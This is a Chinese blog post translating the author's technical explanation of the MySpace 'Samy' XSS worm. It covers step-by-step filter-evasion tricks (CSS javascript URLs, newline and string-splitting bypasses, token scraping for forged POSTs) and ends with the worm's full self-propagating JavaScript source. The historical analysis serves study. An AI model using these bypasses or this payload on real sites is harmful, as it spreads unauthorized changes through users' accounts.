`
897371388
  • 浏览: 528651 次
文章分类
社区版块
存档分类
最新评论

翻译"MySpace"蠕虫原理

 
阅读更多

本文章翻译自:http://namb.la/popular/tech.html

MySpace蠕虫(也称Samy或者JS.Spacehero蠕虫)的技术讲解
点击此处了解更多关于MySpace蠕虫有趣的事儿

在文章的最下方列出了关于此蠕虫的全部代码。

请注意,此讲解是在MySpace解决了此问题后才发出的,下面所讲的所有的代码现在都不会再生效,否则就是蓄意破坏了。下面我们来看一下,它是如何产生、解决和一般情况下它是如何生效的。

1)MySpace中有很多标签,但实际上他们好像仅支持<a>, <img>, <div>等几个标签,也许还有其他的,比如<embed>。他们不允许<script>、<body>标签,也不允许任何onClick事件, 以及javascrip中的href属性 。然而,有些浏览器(像IE, 某些版本的Safari, 还有其他的浏览器) 允许在CSS标签中使用javascript。我们需要javascript去取得信息并使它执行。如:
<div style="background:url('javascript:alert(1)')">

2) 由于在div标签中,我们已经使用了单引号和双引号,所以我们不能再在语句中使用引号。这使得编写js变得非常困难。为了能绕过它,我们使用了表达式存放js并且使用名字来执行它。例如:

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')">

3) 太好了! 现在我们可以使用单引号来写javascript了。然而myspace网中到处都会过滤"javascript"。 由于一些浏览器自动会把"java\nscript"(java和script间是换行符)当作"javascript" ,因此可以饶过这个问题。如::

<div id="mycode" expr="alert('hah!')" style="background:url('java
script:eval(document.all.mycode.expr)')">

4)好了, 尽管我们已经能使用单引号了,但有时候我们还是需要双引号。我们可以使用转义字符, 例如, "foo\"bar". Myspace也考虑到了这一点...,他们过滤了所有的引号,不管它是单引号还是双引号。然而, 我们可以通过在javascript转换十进制为来生成引号。如:

<div id="mycode" expr="alert('double quote: ' + String.fromCharCode(34))" style="background:url('java
script:eval(document.all.mycode.expr)')">

5) 为了能把这些代码放到浏览的用户的profile中,我们需要得到这个页面的源码。嗯, 为了取得页面的源码,我们可以使用document.body.innerHTML,只需要取得访问此页面用户的ID即可。 Myspace 又一次考虑到了这些,他们在所有的地方都过滤了"innerHTML"。 为了饶过这个限制,我们使用eval() 把两个字符串拼成"innerHTML"。如:

alert(eval('document.body.inne' + 'rHTML'));

6) 是时候访问其他页面了。我们可以使用iframes, 然而一般情况下,就算是隐藏的iframes也比较明显,但效果却不尽如人意。 因此,为了在客户端发送HTTP的GET和POST请求,我们使用AJAX (XML-HTTP)。 然而, myspace又过滤了XML-HTTP请求中必须的"onreadystatechange" 。 我们又一次使用eval来避开检查。
: eval('xmlhttp.onread' + 'ystatechange = callback');

7) 是时候在发请求取得用户的关注对象了,我们不想删除任何的关注对象,我们只想把我加到关注的列表中。 如果我们能取得profile就能稍后取得他的关注列表。通过上面列举的内容,我们很容易找到用户的ID.如同我们上面说的那样,我们能通过抓取页面上的源码来取得。然而, 现在我们需要搜索页面中的关键字,但是当我们搜索的时候,一直会返回true,比如说,我们想查页面中有没有包含'foo',因为我们使用了这个单词,所以一直会返回true,解决的办法就是再用evale来构造,如:

var index = html.indexOf('frien' + 'dID');

8) 此时我们已经有了关注的列表了。首先,让我们把我通过添加好友的页面中发post讲求,把我加到好友列表中。 什么?没起作用?!为什么呢? 因为我们在profile.myspace.com页面上,而它需要在www.myspace.com上起作用。没什么大不了的, 只是 XML-HTTP不允许来自不同域的GET/POST。 为了解决这个问题,我们在www.myspace.com域上使用相同URL就可以了。如:

if (location.hostname == 'profile.myspace.com') document.location = 'http://www.myspace.com' + location.pathname + location.search;

9) 终于,我们可以发POST请求了。然而,我们发了请求,却没有加为好友,为什么呢?Myspace在每个发post请求的页面中产生了一个随机的hash (例如, "您确认添加此人为好友吗?" 页面). 如果没有在发post请求的时候带上hash,这个post便不会成功. 为了解决这个问题, 我们在发post请求之前,模仿浏览器发一个get请求,并把源文件转成hash,和post请求一起发送。

10) 一旦post请求完成了,我们添加一个关注者并把代码添加到页面中。由于代码请求完成后,又会回到原来的页面,而发请求又需要不同的hash值,所以我们需要再发一个Get请求,根据之后得到的页面,再生成一次hash,不过,有时候URL-encoding和escape()并不一定能对所有的数据都进行转义,所以我们需要自己手工完成。

11) 其他的限制,如最大长度,这就需要紧凑的代码,没有多余的空格、模糊的名字、可征用的函数等。

这其中还有一些难点并没有列出。这并不是一个纯粹的过程,也不会对任何人造成伤害,这只是因为兴趣。这的确很有趣!

最后,下面是所有的源码:

<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewInterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

-samy


分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics